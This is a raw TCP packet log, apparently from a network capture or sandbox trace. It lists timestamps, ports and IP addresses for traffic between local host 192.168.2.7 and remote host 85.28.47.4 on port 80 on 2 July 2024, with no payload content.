Jul 2, 2024 12:21:04.969783068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969810963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969813108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969824076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969829082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969834089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969866991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969871044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969872952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969877958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969882965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.969885111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969908953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.969934940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970321894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970328093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970338106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970343113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970347881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970357895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970362902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970372915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970376968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970377922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970388889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970395088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970400095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970422983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970443964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970777988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970788002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970793962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970798016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970803022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970813990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970818043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970828056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970832109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970833063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970838070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970844984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.970854044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970873117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.970906019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971076012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971081972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971096039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971155882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971224070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971230030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971235037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971240044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971256018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971261024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971271038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971275091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971276999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971287012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971292019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971293926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971297026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971307993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971311092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971313000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971318007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971328020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971332073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971334934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971348047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971362114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971502066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.971971035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971976042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971986055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.971997976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972011089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972013950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972018003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972024918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972027063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.972029924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972039938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972044945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972048998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972059965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972064972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972074986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972078085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.972080946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972086906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.972122908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.972167969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057385921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057435989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057456970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057457924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057473898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057495117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057507038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057523012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057524920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057542086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057568073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057570934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057583094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057615995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057626963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057663918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057728052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057744026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057795048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057812929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057832956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057845116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057862043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057894945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057912111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057919025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057960033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.057960987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.057979107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058008909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058027029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058027983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058042049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058073044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058090925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058110952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058162928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058166981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058183908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058216095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058233023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058264971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058279991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058315992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058331966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058353901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058363914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058377981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058410883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058429956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058451891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058468103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058490992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058499098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058516026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058532000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058541059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058563948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058579922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058581114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058654070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058656931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058672905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058706045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058727026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058774948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058790922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058816910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058824062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058840990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058841944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058864117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058934927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.058954954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.058984995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059001923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059025049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059034109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059046984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059051991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059067965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059077024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059083939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059101105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059118986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059149981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059290886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059307098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059338093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059354067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059361935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059370995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059382915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059386969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059402943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059418917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059431076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059546947 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059650898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059667110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059699059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059715986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059727907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059731007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059747934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059760094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059768915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059782982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059784889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059802055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059818029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059819937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059834957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059868097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059884071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059885979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059902906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.059911966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.059950113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060085058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060101986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060133934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060149908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060163021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060165882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060182095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060194969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060198069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060214996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060228109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060230970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060246944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060264111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060266972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060287952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060455084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060537100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060554028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060569048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060573101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060581923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060594082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060601950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060615063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060615063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060631990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060647964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060663939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060681105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060682058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060707092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060755968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060899973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060913086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060930967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060947895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060956001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060962915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060976028 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.060978889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.060995102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061002970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061028004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061043024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061043978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061060905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061074972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061077118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061093092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061100006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061109066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061125040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061126947 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061141968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061155081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061158895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061167955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061171055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061187029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061203957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061208963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061219931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061225891 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061235905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061244965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061252117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061261892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061269999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.061276913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061296940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.061443090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.147605896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147650003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147664070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147680998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147689104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.147697926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147716999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.147747993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147766113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147773981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.147782087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147799015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147810936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.147829056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.147964001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.147980928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148011923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148027897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148060083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148077011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148082018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148092985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148106098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148108959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148124933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148137093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148144960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148175001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148226023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148322105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148339033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148370028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148386955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148394108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148405075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148418903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148458004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148516893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148555994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148572922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148588896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148603916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148607016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148621082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148622036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148637056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148639917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148653984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.148660898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.148670912 CEST	80	49699	85.28.47.4	192.168.2.7
